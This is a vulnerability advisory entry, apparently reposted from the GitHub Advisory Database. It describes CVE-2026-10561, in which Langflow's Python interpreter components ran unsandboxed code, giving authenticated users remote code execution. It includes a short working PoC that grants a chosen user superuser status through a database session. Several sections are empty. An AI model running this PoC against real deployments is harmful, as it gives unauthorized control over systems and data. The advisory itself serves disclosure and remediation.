INCIDENT MAP

Browse / Tool and Agent Misuse / CVE-2026-10561

Langflow: PythonREPLComponent executes unsandboxed Python code, enabling authenticated RCE and privilege escalation

CVE-2026-10561 · 2026-10-06 critical

Class
Tool and Agent Misuse (filed by a model that read the advisory)
Technique
Code and command execution
Affected
langflow (PyPI)
Gets past
Sandbox or allowlist
CVSS
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
EPSS
0.8% chance of exploitation in 30 days

How it works, in short

The Python interpreter components run user or model code in-process without effective sandboxing, so builtins give attackers full host and privilege access. (Our summary, written by a model. The source text is below.)

Details

Summary

Langflow's built-in Python interpreter components — PythonREPLComponent (Python Interpreter) and the legacy PythonREPLToolComponent (Python REPL Tool) — executed arbitrary user- or model-supplied Python code inside flows without effective sandboxing. Because the code ran in-process with the privileges of the Langflow service, any authenticated user who could edit and run a flow could achieve remote code execution and, from there, escalate privileges to superuser (e.g. by opening a database session and flipping is_superuser) or compromise the host.

This issue is fixed as of 1.10.1, with additional hardening through 1.12.3. See *Remediation* below.

Affected

Details

The root cause is code injection (CWE-94/CWE-95): the component passed raw input to LangChain's PythonREPL, which is explicitly *not* a security sandbox.

Two distinct weaknesses existed before 1.10.1:

Both let an authenticated user run the reported PoC, which opens a DB session and sets is_superuser = True on their account, or writes to the filesystem / runs OS commands with the service's privileges.

PoC (as reported)

import asyncio
from sqlmodel import select
from langflow.services.database.models.user.model import User
from langflow.services.deps import session_scope

async def escalate():
    async with session_scope() as session:
        stmt = select(User).where(User.username == 'testuser')
        user = (await session.exec(stmt)).first()
        if user:
            user.is_superuser = True
            session.add(user)
            await session.commit()

asyncio.run(escalate())

Impact

Any authenticated user could:
- Execute arbitrary Python / OS commands with the Langflow service's privileges (RCE).
- Escalate their own account to superuser via direct database access.
- Read/modify data and configuration, and potentially pivot to the underlying host.

Remediation

Upgrade to Langflow 1.10.1 or later (preferably >= 1.12.3). The interpreter components were hardened with layered, defense-in-depth controls, applied in run_python_repl() before any code is executed:

Upstream fix references: #13397, #13700 (carries this GHSA), #14375, #14400, #15198.

Hardening recommendations for operators

References

Source: GitHub Advisory Database, used under CC BY 4.0.